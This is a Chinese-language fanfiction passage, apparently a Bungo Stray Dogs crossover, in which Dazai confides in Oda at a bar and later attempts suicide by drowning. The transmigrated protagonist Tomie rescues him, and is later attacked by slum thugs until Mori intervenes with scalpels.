中原中也困惑的同时生起气来，他一下子拍掉对方的胳膊，就像之前对方拍掉他的一样，“你这个混蛋到底在说些什么，我不是说了吗？如果是劝我退出的话，你已经可以放弃了。” 这句话说完后，中原中也罕见地看到了太宰治露出了一种从未见过的神情。 ——难以置信，却又夹杂着一丝绝望。 第32章 Lupin酒馆内, 悠扬的古典音乐和昏暗的灯光相辅相成，形成了宽松、祥和的氛围。 黑发青年安静地趴坐在吧台上，伸出手戳着摆放在面前的威士忌酒杯中的圆形冰球。 “叮当、叮当、叮当……” 冰块与杯壁在他的动作下不断发出清脆的声音。 明明双眸望向了酒杯所在的方向, 可目光着陆点却越过了酒杯。 很明显，黑发青年此时正在走神。 这是因为他那无法停止运转的大脑, 正给他不停地循环着今天上午遇到中原中也时候的事情。 当时的他以为宫水富江是类似于中原中也那样的出身，所以才会同时拥有了精神系和不死两种异能力。 可是实际上, 在他被中原中也点醒，并发现他的[人间失格]无法解除对方的状态后，太宰治才终于意识到了一件事。 ——他想错了。 宫水富江的那个让人爱上他的能力，恐怕并非是异能力。 而这个观点最好的证据就是他自己, 作为能够无效化别人异能力的反异能力者，太宰治从未出现过这种无效失败的情况。 因此，唯一能够解释的理由就是, 对方这个不是异能力，而是对方自身的某种效果, 某种不同于异能力的特殊能力。 如果真的是这样, 那么连带着对方身上的不死能力恐怕也是如此。 ……不，这些都不是最重要的, 最重要的是他自己该不会—— 想到那种可能性，太宰治忍不住看向自己的双手。 然后, 他失神般离开了港口Mafia, 就连在离开之前中原中也是什么反应都不记得。 既不想回到高级公寓面对宫水富江, 又无法心平气和回到集装箱。 在这种想法下，太宰治最终选择来到这家Lupin酒馆来消磨自己的情绪。 这也就是，他会出现在这里的原因。 “啊——呼——” 身边的座位上传来了细小的打哈欠的声音，被拉回思绪的太宰治坐直身体转头看向了声音来源。 然后发现, 在隔着一个位置的座椅上不知何时出现一只三花猫。 对方就安静地坐在那里，那双象征着猫眼的竖瞳正直勾勾地盯着他，像是对他产生了好奇。 太宰治下意识观察，从对方的体型上来看，这是一只已经成年的猫。 虽然无法清楚地知道对方的年龄多少，但通过对方空无一物的脖颈和没有任何缺失的耳朵，太宰治能得出一个结论——这是一只流浪猫。 想到这里，太宰治回忆起了之前在巷中看到少年逗弄猫咪的场景。 “吱呀——” 上方传来门被打开的响动，太宰治再次回神， 他望了过去，发现来人正是他许久未见的友人。 红发青年走下楼梯，明显是打算坐到习惯的位置。 可很快，对方就发现自己常坐的位置如今已经被另一位客人占据了。 “猫？” 沉稳又沙哑的声音从对方那里响起。 太宰治点了点头，“我也是刚刚才发现的，虽然不知道是从哪里冒出来的，但显然这是一只没有主人的流浪猫。” 说完，想起自己刚刚在回忆什么的太宰治脸色僵硬地举起自己的酒杯抿了一口。 看着所剩无几的酒杯，他朝着老板继续要了一杯同样的酒。 织田作之助朝着黑发青年的方向走了几步，正想着要不要难得的换个座位，就发现那只猫已经主动从他常坐的位置上离开，跳到了地面上。 然后主动地离开了前台，在地面的拐角处趴着。 这一现象令织田作之助不由得多看了那只猫两眼。 “这只猫，有点意思呢……下次要是安吾回来的时候还能遇到，就将这件事情作为谈资和对方说说吧。”黑发青年开口。 织田作之助回答，“确实。” 说完，他来到刚刚那只猫离开的位置坐下，然后倏地发觉了今日黑发青年的不对劲。 对方的身上冒出了比较浓郁的酒味，尽管知道对方来的时间比他早，可从这一身味道判断，对方出现在这里的时间恐怕比他想象的还要早，甚至刚刚向老板要的那杯酒大概率也不是第二杯。 虽然发现这一点，但织田作之助并未直接发言，而是朝着老板要了一杯普通的茶水。 “织田作不喝酒吗？” 身旁的黑发青年传来了疑问。 织田作之助没有立即回答，而是淡淡地抿了一口茶水。 在感受到舌尖略显苦涩的味道后，才缓慢地回答了身边青年的问题。 “今天只是随意过来看看能不能碰到你，到时候我还要在孩子们醒来之前回去。” “因此，我现在不太适合喝酒。” 黑发青年单手撑着脸颊，一脸无趣地回答，“什么呀，织田作还要继续照顾那群小鬼吗？” 织田作之助并未从太宰治的话语中感受到什么恶意，他明白对方只是在进行随口的抱怨。 “虽然年龄最大的幸助已经有七八岁了，但最小的那个孩子现在也不过两三岁，目前还不是那种能离得开大人的年纪。” 说完的接下来一段时间内，再也没有人说话。 酒馆内安静了下来，只剩下古典音乐在不断地播放。 织田作之助感觉良好，他淡定地喝着茶水享受着这种氛围。时不时地看向老板，又或者是老板身后的酒柜。 偶尔也会望向刚刚那只三花猫的位置，看看对方在做什么。 不知道过去了多久，坐在他身边一直沉默不语的黑发青年终于开了口。 “织田作，你最近有什么烦恼吗？” 织田作之助缓缓抬起头，他看向天花板上并不刺眼的灯光，回答，“让我想想……” “要说最近的烦恼，大概是钱不够花吧？” 说着，耳边传来水声。 他侧头看向太宰治，发现是对方正盯着自己的酒杯不停地晃动。 不过对方的举动并未干扰到织田作之助，他继续道，“虽然港口Mafia给的钱并不少，但是养五个孩子还是不太够用，所以最近去赌场的次数比以前变多了。” 因为不想杀人，所以在面对金钱需求的时候，他会选择适当地利用自己的预知型异能力去赌场作弊赚点小钱，以供维持正常的日常开销。 “还有就是咲乐也逐渐长大了，给对方买东西的时候我能够意识到男生的东西和女生的东西完全不同所以有的时候会纠结对方会不会喜欢我买的礼物……” 织田作之助孜孜不倦地说着自己最近遇到的一些烦恼，而身旁的黑发青年则是安静地聆听着。 直至织田作之助说得差不多停下的时候，他才听到身旁的青年发出了声音。 “是这样吗？织田作的烦恼比我遇到的烦恼听起来更有意思呢。” 织田作之助侧头看向太宰治，只见对方正用手戳着冰球。 角度问题，在他的眼中，黑发青年此时身上总给他一种说不上来的感觉，可还没等他想明白就注视到对方像是想起了什么，唰地抬起头。 “你都不知道，织田作！”对方说着语气上扬起来，“最近首领很过分地给我安排了很多任务！就算我成为了干部，也不至于这么压榨我吧！还有就是那个蛞蝓……” 现在的黑发青年表现出来的就好像之前他所感觉到的异常仿佛就是一种错觉，但织田作没有说什么，而是淡定地听着。 直至对方说完已经喝着面前酒杯中的酒润喉的时候，他才出声询问，“还有呢？” 对方喝酒的动作一顿，放下酒杯微睁着双眸看向了他，像是不解地询问，“……什么？” 织田作之助侧头与对方四目相对，直接道，“太宰你没有说完的烦恼。” “……” 对方顿了一下，然后用奇怪的目光看了他一眼。 织田作之助没能理解对方的眼神，但很快听到对方的疑问。 “织田作为什么会认为我还有没说完的烦恼？” “唔……”织田作之助想了一下，发现自己其实并不像太宰那样能够说出个所以然来，于是回答，“直觉？” 听到这个回答，黑发青年的表情似乎有些茫然。很快，这种茫然又变换为了一种犹豫。 对方低垂着头，握着手中的威士忌酒杯，看着吧台桌面，迟迟没有说话。 织田作之助注视着对方的举动，率先提起了话题，“和那位富江有关吗？” 像是听到了关键词，黑发青年抬眸看向了他。 “我的困扰看起来和他有关吗？” 织田作之助想了想，“因为太宰你很厉害。” 太宰治不明所以地看向红发青年，只听对方继续解释，“你在工作上从来没有出现过问题，虽然刚刚抱怨的都是工作上的事情，但是对你来说这都不是什么大事。所以我想，能够让太宰你这么烦恼的，恐怕只有感情上的事情了。” “既然如此，我唯一能想到的就只有那位富江。” 听到对方的话语，太宰治不由得睁大了眼眸。 他张了张嘴想说点什么，可是一想到自己的处境—— “……果然不用了。”他回答，“我其实到现在都有点搞不明白。” 不明白他自己现在究竟是怎么回事。 * 之后的时间，太宰治自然地转换了话题。 好在他身边的红发青年并未过多询问，而是顺着他的话继续聊了下去。 直至黎明将至，织田作之助才对他告了别离开。 而被独自留在Lupin酒馆的太宰治在继续待了一会儿后，也打算离开。 他拿起摆放在座椅靠背上的大衣，披在了身后。 在付完酒水钱后，漫步离开Lupin酒馆。 天空才堪堪泛起亮光，距离正常人群出门的时间还早。 太宰治走在街道上的时候，几乎没有什么人影。 微凉的冷风吹过他的脸庞，使得他的醉意微微苏醒。 他睁开双眼看向四周，发现自己不知什么时候走到了桥上。 太宰治停下脚步，看向桥下还算湍急的河流，突然想起了一件事。 ……他好像，已经很久没有自杀了。 以至于，连原本绷带下各式各样自杀造成的伤口都已经恢复得差不多。 太宰治望了望万里无云的天空，又看了看四周空无一人的环境。 他突然觉得现在也许是个自杀的好时机。 没有人来打扰，天气也合适，甚至因为最近刚处理完大量工作，港口Mafia也不会短时间内找他。 他想，没有比现在更合适的时机了。 只要能够成功，那么他不仅能甩掉烦恼，还能得偿所愿地获得自己想要的死亡，完成加入港口Mafia的初衷。 思索到这里，太宰治的思绪逐渐清晰且活跃，但那双鸢眸却渐渐变黑像深潭般毫无波澜。 然后，他动作利落地踩在栏杆上，望着发出声音的河水跳了下去。 随着“扑通——”一声，黑色人影就此消失在桥上。 ** 虽然现在是炎炎夏日，但河水却反而凉爽。 冰凉的流水将他全身包裹住，浸透了他黑色的西装。 太宰治故意放弃屏住呼吸的动作，让河水顺着鼻腔进入气管接触下呼吸道。 身体越来越难受，但意识却越来越模糊。 渐渐地，他连难受的感觉也开始消失不见…… …… ………… “……先生……太宰先生？” “太宰先生，你还好吗？” 耳边逐渐传来了清晰的声音，这使得太宰治的意识渐渐恢复。 虽然心里下意识不想醒来，但他的大脑已经开始运转。 ……又失败了。 太宰治模模糊糊地想，随后又觉得刚刚呼喊他的声音异常的耳熟。 身体的本能让他开始疯狂咳嗽，将身体里多余的水排除。 直至变得轻松，他才捂着额头摸索着想要坐起身。 就在这个时候，一只手抚上了他的背部，帮他完成了坐起来的动作。 鼻尖开始耸动，熟悉的香味再次出现在他的身边。像是纠缠不清的恶鬼，牢牢地依附在他的背后。 意识到面前的人是谁后，他猛地抬起头看向了对方。 因为下水救他而湿漉漉塌下来的黑色发丝，有水珠滑落的白皙皮肤。以及即使如此，也依然无法遮掩魔力的左眼眼尾处的泪痣。 所有的特点都在明明白白地告诉太宰治，此刻站在他面前的人是他此刻最不想看到的人——宫水富江。 “太宰先生，你怎么样了？” 对方焦急的声音和因为担忧而愈发靠近的面孔，都在证明他刚刚的想法。 “……富江？”太宰治喃喃着面前之人的名字。 对方回答，“是我！太宰先生现在感觉如何，要不然我们现在去医院？” 顺着对方的话语，太宰治仿佛已经闻到了消毒水的味道。 他不由得脸色一沉，语气冰冷，“不用了……” 随后看向少年询问，“你为什么会出现在这里？” 出现在这里破坏了他的自杀。 对方愣了愣，似乎没有想到比起医院会选择问这个。 可没一会儿，对方还是顺着他的话语回答，“我是来找太宰先生的，只是没有想到、……” 说到这里，对方像是被提醒到了什么，用慌张的表情看着他，“对了，太宰先生怎么会出现在河里？难道说……” “——是被敌人丢进水里的？” 浑身湿漉漉的少年很快有了猜测，并说了出来看向他并寻求他的看法。 “……” 太宰治沉默不语，随后他想起了中原中也说过的话。 【“虽然不知道你是用什么姿态出现在对方面前的，但是现在，我要把你的真实面目告诉他。”】 哈哈哈……真实面目吗？ 想到这里，他自嘲般地勾起了唇角。 然后，他注视着面前这个明显因为担忧而警惕环顾四周的黑发少年，开口，“不对，我不是被敌人丢进河里的。” 迎着对方的目光，他听到自己的声音： “我是在自杀。” *** “我是在自杀。” 宫水富江茫然地眨了眨自己的眼睛，盯着面前浑身上下都是水的黑发青年，然后发出了困惑的声音，“啊？” 他怀疑自己的耳朵可能出了什么问题。 可就像是为了反驳他的想法，太宰先生对着他又重复了一遍。 “自杀啦，自杀。又或者说是入水？总之，直白地说就是……” “——我是在求死。” 在宫水富江的目光中，黑发青年说出这句话的时候，语气虽然轻松愉悦，嘴角也带着笑意，但那双眼眸却黑得让人看不清情绪。 他没有说话，而是注视着太宰先生开始头脑风暴。 难道说…… 宫水富江心里冒出一个想法。 难道说是该死的港口Mafia首领利用太宰先生的挚友疯狂压榨太宰先生，以至于太宰先生已经开始受不了压力而自杀了吗？！ 其实仔细想想也是，说到底太宰先生还只是一个正处于青少年的心理敏感时期，确实很容易造成这样的现象…… 越想，宫水富江越觉得自己的想法是对的，连带着看着黑发青年的目光都变得怜悯起来。 黑发青年显然无法理解他目光中的含义，见他迟迟没有说话，于是主动提问，“……你不问我为什么要自杀吗？” 宫水富江不是那种会戳对方敏感心思的人，于是果断回答，“当然不。” “既然你这样做，那一定有你的想法和理由。我无权干涉你所做出的决定。” 而且更重要的是—— 既然都是主角了，怎么可能死于自杀？ 就算他不追番也知道，像这种重量级别的破圈烫男人决定不会被作者轻易且草率地用这种死法写死。 不然等待对方的就不是什么普普通通的烂尾了，而是全网的谩骂。 反正，当时他没有刷到相关视频。 想来，也不是这种结果。 但他的话语似乎对面前的黑发青年造成了什么影响，对方直勾勾地盯着他，一眨不眨，像是完全不会动弹的尸体。 宫水富江背后微微发凉，被自己的想法惊悚到。 幸好没过多久，对方不知道想了些什么再次开口说话，“呐，富江。” “是？”宫水富江回应着对方。 “我好像并没有这样问过你呢……你以前是个怎样的人？”对方询问。 宫水富江微微歪头，他以前是个什么样的人。 他回忆了一下，按部就班长大、上学、高考，然后上了理想的大学…… 如果不是因为这突如其来的COS穿，恐怕他依旧继续按部就班地准备毕业，然后寻找心仪的工作，在养只猫什么的。 果然，这无论怎么看—— “普通人吧。”宫水富江与黑发青年对视，又继续道，“以前的我怎么看，都只是个普通人而已。” “……” 太宰先生似乎因为他的话语陷入了沉默，可在沉默了片刻，又倏地笑了起来。 宫水富江不明所以地看着面前的黑发青年，不太能理解对方作为主角的脑回路。 就在他思考对方是不是真的压力太大，需不需要给对方挂个心理专家的时候，对方终于笑完并开口道： “富江。” “你真的认为，人活着这种行为是存在某种价值吗？”① 看来这还是部拥有哲学主题的番剧啊。 宫水富江边思考着对方提出来的问题，边有闲心地想着别的。 可是—— “你说错了，太宰先生。” “想活从来都不需要任何理由。” 因为想活，只是他们作为生物的本能。 所以即使拥有了这种体质，他也没有想过放弃自己的生命。 “相反，”宫水富江注视着面前似乎因为他的话语而微愣的黑发青年继续道，“想要继续活下去和想要就这样死去才需要理由。” 第33章 落荒而逃了。 虽然这么说不太好, 但是回想起那天早上他说完那句话后太宰先生慌慌张张离开的背影，宫水富江只能想到落荒而逃这几个字。 浑身湿透，又追赶不上太宰先生的他, 最后只能返回公寓中给自己洗了个澡换了身衣服。 在那之后，无论他怎么给太宰先生发消息又或者打电话, 对方也不会再有回应。 比如现在，宫水富江看着自己的手机, 上面显示他上午给对方发送的消息现在都还是未读状态。 但这还并不是全部，只要用手往上一翻，还能看到更多均处于未读状态的各种消息。就连通话记录那里，也都是未接通状态。 “……我记得我好像也没说什么吧？” 宫水富江苦恼地回忆着那天的情况, 完全不知道哪里出现了问题。 可现在的情况，完全是在告诉他，他就是做了什么！ 最终, 他放弃思考。 决定询问最有可能知道太宰治情况的人——中原中也。 想到这里，宫水富江举起手中的手机, 给对方发送了询问太宰先生近况的消息。 就在他刚放下后, 手机猛地发出了响声。 过快的速度令宫水富江措手不及，以至于手机都差点掉落, 但好在最终有惊无险，平稳地握住了手机。 他打开进入聊天界面, 就看到了对方的回复。 【……你问他做什么？——中原中也】 宫水富江看着这句话, 用自己那平平无奇的大脑思考了一下, 然后明白了对方的意图。 简单来说，就是害怕他通过太宰先生的行踪泄露港口Mafia的任务……对吧？ 见状，宫水富江立即密密麻麻敲打了一堆字，表明自己并没有那个意思, 并坦白自己只是担心太宰先生的情况，所以才会来询问对方的近况。 然后又附上了，如果不行，希望对方可以帮他转达自己的担忧的话语。 看着自己宛如小作文般的言语，宫水富江认为这次说话一定万无一失。 想到这里，他将信息发送了过去。 回想着自己刚刚那么多文字，对方估计没有办法秒回。于是宫水富江毫不犹豫地将手机放下，然而下一刻手机再次响起铃声。 有了上次的经验，宫水富江这次没有猝不及防，而是稳稳地拿起手机打开。 “……？” 看着对方的来信息通知，宫水富江忍不住默默打出一个问号。 这么快的吗？还是说作为重要的配角，中原先生身上存在着看消息百分百秒回的技能？ 虽然这么想，但宫水富江还是打开来查看。 【我不是这个意、算了……我就是想说他最近工作比较多，所以不用为他担心。但如果你真的很在意，我下次看到他的时候会帮你转达的。——中原中也】 虽然看到后面的部分宫水富江内心对中原先生充满了感谢，但还是不禁好奇前面部分对方没有说完的话语是指什么。 将手机放下，宫水富江终于松了口气。 但是…… 看了看这个公寓，又想了想太宰先生最近总是躲避他的表现。 “果然是嫌我太烦人了吗？” 他躺在沙发上，无意识开口。 随后又翻了个身给自己找了个更舒服的角度，拱了拱。 可是很快他又想到了一个更严峻的问题。 如果太宰先生想把他赶出公寓，那么他接下来该怎么办？ 说赶出好像有点严重，但是他想表达的意思是太宰先生现在有意躲避着他，那么最初他与对方达成的交易在现在就不成立了。 既然如此，再这样下去，迟早有一天他会离开这间公寓。 可露宿街头对于他来说是绝对不可能的。 也就是说，他是不是该为以后这种可能进行打算了？ 思索到这里，宫水富江再也没有办法淡定地躺在沙发上，而是猛地坐起了身。然后打开自己的手机，查看起了横滨这里的房价。 他最初的目标原本是选择这栋公寓的其他房子，主打的就是就算无法成为同居人，那么成为邻居也是很好的。可惜的是，他并没有找到有关于这栋公寓的任何出售信息。 无奈之下，他只好看向了其他离这里比较近，又符合他远离市中心要求的房屋。 在胡乱翻了几页看了一堆不同的房子后，终于，一个略显偏僻价格又不贵的房屋映入了宫水富江的眼帘。 * 拒绝了中介带他参观的意向后，宫水富江便拿着钥匙，按照手机导航，独自朝着房屋所在的地方行走。 在路上，宫水富江回想着当时中介祝福他一路小心的话语，心想对方为人还是蛮不错的，下次网上一定给对方好评。 随着行走的距离越来越近，宫水富江能察觉到路上的人群越来越少。 然后，他发现自己出现在了一个奇怪的地方。 从他所在的高处，他能明显地发现面前这片地面像被巨大的勺子挖走了一部分，留下光滑的、如同擂钵般的地形。 而从这个地形的中心，简陋又或者残缺的房屋逐渐像鳞片般一层层建起。 宫水富江看了一眼导航，又看了看面前人烟稀少的道路。 最终选择相信导航一把，朝前继续行走。 可随着越往里走，空气中弥漫的那股臭味就越发明显。 宫水富江不得不在使用遮阳伞的同时，另一只手拿出来捂住口鼻。 倏地，身后传来了脚步声。 宫水富江下意识回头查看，可什么都没有看到。 感觉奇怪的他不敢在这里继续深入，准备就这样离开，到时候回到原来的地方绕原路过去。 可是刚转身走了几步，面前就唰地出现了几个人。虽然比不上绑架时所遇到的那些人，但看起来也并不正经。 他们手中几乎都拿着武器，有的是棍棒，有的是小刀。 边走过来的同时，还边相互对视嬉嬉笑笑，就好像是遇到了什么意外之喜。 感受到了恶意，宫水富江下意识将遮阳伞前倾，遮掩自己的部分脸。 与此同时，还一步步往后退。 直至身后遮阳伞的边缘与墙壁发生了碰撞，宫水富江这才停下了脚步。 “嘿嘿嘿，没有想到现在还有人会误走到擂钵街……” “看起来就很有钱，看来这几天的花销就不用愁了。” 其中两人说着什么，但宫水富江已经无暇去听。 他不动声色地放下自己原本用来捂住口鼻的手，伸进自己的口袋。 触摸到冰冷的枪管，宫水富江就感受到了安全感，他开始感谢习惯出门携带枪支的自己。 可是还没多轻松一会儿，他发现自己看向地面的所及之处已经出了一双腿。 还没想明白他们为什么靠得这么近，手中的遮阳伞瞬间就被一股强大的力道打飞。 下意识地，宫水富江抬起头看向面前，发现面前正站在这类似于大哥的存在。 对方正盯着他看，然后抬起手扯掉了他的口罩。 粗鲁的动作让他的耳朵生疼，下意识闭上了眼睛。 等他再睁开的时候，面前的人已经目不转睛地、痴痴地看着他。 直至他做出了动作，对方才不甘不愿地回头对着身后的人出声。 “老子就说这个人遮遮掩掩的肯定长得不错，现在看来……咱们是中了大奖了！” “把他卖给中介，肯定能到手很多钱！他肯定会有大顾客的！” 听到这种话语，宫水富江不再遮掩，他立即拿出自己手中的枪支对准面前的混混。 现在就开枪是不明智的，他手枪中的子弹是有限的，所以最好的做法是挟持对方威胁其余人安全离开这里。 “不许动。”看着对方转过，宫水富江立即对着面前的人道。 可意外地，对方不知道为什么似乎并不紧张，反而游刃有余地嘲笑了起来。 “让我瞧瞧我看到了什么？一个看起来手都握不稳的家伙正拿着枪？” 宫水富江嘴角抿了抿，不说话，但目光却紧盯着面前的混混。 对方却继续道，“看在你长得这么好看的份上，我劝你还是放弃吧。毕竟我也不想伤害你这张脸、……” “砰。” 宫水富江直接对着面前这个人的大腿开了一枪，对方下一秒吃痛叫了一声。 他本意是想让对方知道他并不是虚张声势，却没有想到很快对方的同伙马上出现在对方的身后，并同样举起了手中的枪。 看到对方手中的枪支，宫水富江不由得睁大眼睛。 不是……这里的枪支管理未免也太泛滥成灾了吧？ “你这个婊子——！” 混混用手按压住大腿上的伤口怒骂了他一句，见状对方身后的人似乎打算上来揍他，但却被拦下。 “我不是说了这是大货吗？到时候卖出去的时候，中介把钱给少了怎么办！” 说完，这个家伙回头看向他，继续道，“你以为拿着枪又怎么了？现在谁的手里还没有一支枪？看你这样子，恐怕连人都没有杀过吧？我劝你还是把这枪放下来，就是你杀得了我，你也跑不出去……还不如老老实实地，说不定看在你的脸上我们反而能对你温柔一点。” 宫水富江注视着对方抬起的、距离他越来越近的手，本以为自己会感到害怕。 可意外地，他只觉得恶心。 ‘快点去死就好了。’ 他的脑海里不自觉地冒出这样的想法。 明明就像对方所说的那样，敌众我寡的情况下，他现在完全不占优势，可他莫名的冷静，并且想起了之前在港口巷子中遇到的那个发型如同垂耳兔般的少年。 对方曾说，他怂恿那些残党进行厮杀。 ‘令人恶心的家伙……’ 宫水富江其实并没有想起来他是怎么做到的，只是—— ‘只要对着他们笑一笑，然后——’ 虽然想不起来，但他好像已经明白了。 想到这里，他听从着脑海中自己的想法，对着面前的这些人露出了一个微笑。 “呐……” 这个微笑的威力，比他想象的似乎还要大。 面前的这些人已经有几个开始迷迷糊糊地看着他，目光呆滞起来了。 见状，宫水富江准备更过分一点。 他伸出手抚上自己的脸，抬起下颚，略微俯视地看着面前的众人，微张薄唇： “你们、……” 尚未说完，他的余光就瞄到了有什么东西从他的身后飞速出现，然后跳跃到他的面前。 锋利的寒光闪过，几乎是瞬间，眼前出现红色的液体，随即便是人体倒地的声音。 那个人站在他的面前，白色的、随风扬起的外套遮掩了他大部分的目光。 注视着面前这个意外高大的背影，宫水富江只觉得那里眼熟，可偏偏又想不起来。 “没事吧？”对方回眸看向他发出询问。 看着对方的面孔和那紫红色的眼眸，宫水富江缓缓睁大双眸。 他就说为什么眼熟，因为这个人是前段时间蛋糕店里遇到的那对父女中的父亲！ 第34章 对方见到他的时候, 似乎也很诧异。 那双紫红的眼眸直直地盯着他，时不时发出微光。像是无意间看到了什么难得一见的画作般，目不转睛地进行欣赏。 宫水富江没能理解对方的神情, 刚想说点什么，余光就注意到了对方面前不远处持枪的几人。 他立即提醒对方, “小心！” 对方瞬间顺着他的话语转头看向了面前的几人，虽然不知道对方观察到了什么, 但宫水富江从对方反应灵敏地弯腰躲避最前面几人的攻击来看，这个他本以为只是个普通父亲的中年男人并不简单。 正这么想着，他的摆在侧边的右手突然被拽住，并拉扯了几下。 突如其来的动作令宫水富江吓了一跳, 他顺着力度看向右手手边，发现熟悉的金发碧眼少女正静悄悄地握住他的手，抬头看向他。 “快点跟我一起躲起来, 待在这里实在是太危险了！” 对方的音量很小，应该是担心会被那几个混混听见, 然后把注意力转向他们。 宫水富江明白对方的意思, 于是点头顺着对方拉扯的力度离开原地。 等他与少女站在屋檐掩体后，宫水富江才狠狠地松了口气。 他睁开眼, 又看到了正对他微笑的少女，想起了对方的父亲。 “对了, 你的父亲！” 说着, 宫水富江小心翼翼地探出头看向不远处刚刚他们站立的地方。 “不用担心啦！虽然林太郎一直是那副样子, 但是该展现的时候，还是会好好展现的！” 少女的声音从他的身边响起，话语里完全都是对口中的林太郎的自信。 宫水富江其实还是有点不太相信，直至他发现就像少女话语中所说的那样, 那个中年男人以一种完全看不出年纪的身体能力穿梭在那些小团体之间。 动作利落地躲避对方的子弹的同时，游刃有余地靠近他们，然后——寒光再次出现。 他微眯起眼眸，看向对方手中的武器，这才发现寒光其实来自于一把锋利的…… “手术刀？” “毕竟是医生啦！”少女继续道，“有的时候还喜欢用手术刀充当飞镖扔向镖盘呢……嘛，不过现在年纪大了，所以不是很准了！” 手术刀吗？某种程度来说，确实意外地适合对方这个医生的身份。 宫水富江用一种复杂的心情想到。 不过很快，他的注意力再次转移到了中年男人所在的位置。 对方的动作干脆利落，几乎是眨眼间，对方就用手中的手术刀抹了好几个人的脖颈。 鲜红的液体喷涌而出，落在对方的脸上和白大褂上，将对方属于医生的感觉完完全全地破坏掉。 注视着对方淡然微笑的神情，宫水富江不禁觉得对方比起天使，更像堕落后的恶魔。 随着场上的人数越来越少，剩下的几个人也开始慌乱起来。 不停后退的同时，还颤颤巍巍地举着手中的枪威胁面前的中年男人。 “你、你知道我们是谁吗……要知道经常和我们合作的组织可是与港口Mafia保持合作的存在！” “一旦你现在做的事情被他们发现，你就死定了！我劝你现在停下来，不然到时候你才是真的完蛋了！你也知道港口Mafia的吧？啊？” 宫水富江不禁对这个所说的话语产生了厌恶，先不提对方所说的是不是真的，单就论关系这一点，他也不会差到哪里去。 只不过…… 他看向中年男人，对方已经变为了慢慢悠悠的走路姿态，似乎正在仔细聆听对方的话语。 宫水富江思考要不要提醒对方这种话语不值得可信，结果下一刻就发现刚刚那个说话的人已经将手中的枪支对准了中年男人。 “去死吧你！” “砰砰砰。” 中年男人弯腰直接躲避了那几发子弹，并同时迅速上前抹了对方的脖子，随后连带着剩下的几个在没反应过来的时候一同解决。 直至场上除了他以外没有人站着，对方才停下了动作站在原地不动。 宫水富江注视着刚刚的那一切有些震撼，随后对这个番更新了自己的情报网。 也就是说在这里，子弹不如冷兵器是吧？怪不得他拿着枪也没用！ 想是这么想，但宫水富江没打算放弃将怀中那把枪支扔掉。 虽然用处不算大，但至少也能令他安心。 “……你怎么样了？” 耳边传来声音，同时右手手掌被握紧拽了拽。 这一连串的动作将宫水富江的思绪拉回，他抬头看向说话的方向，这才发觉自己刚刚走神走得有点久，连中年男人什么时候出现在了他的面前都没有注意。 “没事、……” “走走走，我们快过去看看他们的惨状！” 宫水富江还没有回答完对方的问题，就被对方的女儿快速拉着往那边的人群走去。 他踉踉跄跄地跟随着对方往前走，同时又忍不住回头往身后看了看。发现中年男人也逐步跟着，表情不仅没有任何不耐烦，甚至在发现他目光的时候和蔼地对着他微笑。 宫水富江有些不好意思地回头，对方现在的样子才更符合他对这个中年男人最初的印象。 倒不如说，刚刚发生的一切才令他不可思议，觉得判若两人。 “呜哇，真是恶心……” 少女停下脚步，宫水富江也跟着停下。 他顺着少女的话语看向地面，尸体零零散散地摆放着，又因为脖颈处的伤口还在不停地流血，在这种炎热的环境下，铁锈味扑面而来。 确实恶心。 宫水富江不由得捂住自己的口鼻想到。 他往后撤退了两步，可还没继续走出第三步，身体就撞上了一个温热的胸膛。 身后的人按住他的肩膀，阻止了他的动作，并发出惊呼，“啊，不好意思……” 听到熟悉的声音，宫水富江就知道自己撞上谁了。 他低下头，“不不不，我才是那个更加不好意思的，完全没有注意你在身后……” 可目光触及到地面的那些尸体，就忍不住瞥向了别处。 于是，他把视线落在身旁金发碧眼身穿红色洛丽塔的少女身上，发现对方居然完全不害怕。 正感觉好奇，就听到了某种窸窸窣窣的动静。 他看向不远处，原本躺着的人群中，有个家伙用力支撑起了上半身并举起了手中的手枪对准他们。 宫水富江睁大双眼，没有想到居然有人还活着。 “快跑。” “砰。” 刚说完话，按压着他肩膀的双手将他拉扯到了一边，可握着他右手的少女却又将他拉扯到了另一边。 相反的反向，使得宫水富江的身躯一顿，比其余两人更慢地进行反应。 注视着子弹越来越近，宫水富江下意识闭上了眼睛。 但好在在这种危急时刻，右手被松开，他的身体顺应身后中年男人的力道往左侧摔去。 只可惜即使这样，依旧躲避得太晚，他的右手胳膊上还是因为子弹多出了擦伤。 疼痛令宫水富江下意识抿住了嘴角，下意识用左手捂住伤口部分。 很快，余光中出现熟悉的寒光。 宫水富江再次看去，只见散发寒光的手术刀正稳稳当当地插在刚刚射出那一枪的人脑门上。 对方很快翻起白眼，随后猛地将脸埋在了地面上。 宫水富江还没做出什么反应，就见身后的中年男人立即站在他的右手边，将他捂着伤口的手拿开，看向伤口情况。 “小哥哥，你没事吧！”少女的声音拉回宫水富江的注意力。 “我、……” “伤口并不严重，只要及时做好处理就行。”中年男人即使回答。 宫水富江刚想表示要回去做处理，结果对方的女儿却开始为他生气。 “都怪林太郎啦！”对方双手叉腰，“如果不是林太郎没有好好检查他们有没有真的断气或者补刀，就不会出现这种事情了！” “老了吗？果然是因为老了吗？” 说着说着，对方突然开始攻击中年男人的年龄。 宫水富江看向身边的神情，发现对方正露着尴尬且沮丧的神情开口。 “就算爱丽丝酱你这么说，我也没有办法细致到一一查看他们是不是全都死透了……” “嘶……”宫水富江突然因为身旁中年男人的动作倒吸一口凉气。 对方很快放松了手劲，对着他询问，“很痛吗？实在是对不起……要不我还是带你先进行简单的处理吧。” “这种擦伤并不严重，但是不做好足够的措施，还是会引起感染的。” 说完，对方从口袋中拿出一块手帕，简单地先为他包扎了起来。 宫水富江连拒绝的话语都说不出来，就被对方的女儿再次握上左手手掌，拉着带走。 “那个……”宫水富江想说点什么，可没来得及，就听见少女开口。 “来吧来吧！不要拒绝我们！我们可不是那种坏蛋！” 宫水富江张了张嘴，本想拒绝。 可还没说话，中年男人就好像提前知道抢先一步说话，打断了他的话语。 “说起来，我还没问过你呢。” “你为什么会出现在这种地方？难道不知道这里是著名的擂钵街吗？” 宫水富江的话语一顿，他茫然地看向面前的人，重复道，“擂钵街……？” “其实简单来说，就是贫民窟。大约在十一二年前，这里发生了奇怪的爆炸，导致原本的平底被炸出来类似擂钵的坑。刚好那个时候的横滨还处于最混乱的时期，于是有不少无家可归的人来到这里住下，渐渐地，这里就成为了贫民窟了。” 宫水富江听着对方的解释，大概明白了这里是个什么样的存在。 不得不说，他本人大为震撼。没有想到在现在的社会居然还有这样的地方…… “你似乎并不是横滨本地人呢？”对方通过他的态度察觉到了这件事若有所思地说着。 被说中的宫水富江有点紧张，下意识握紧了女孩的手。 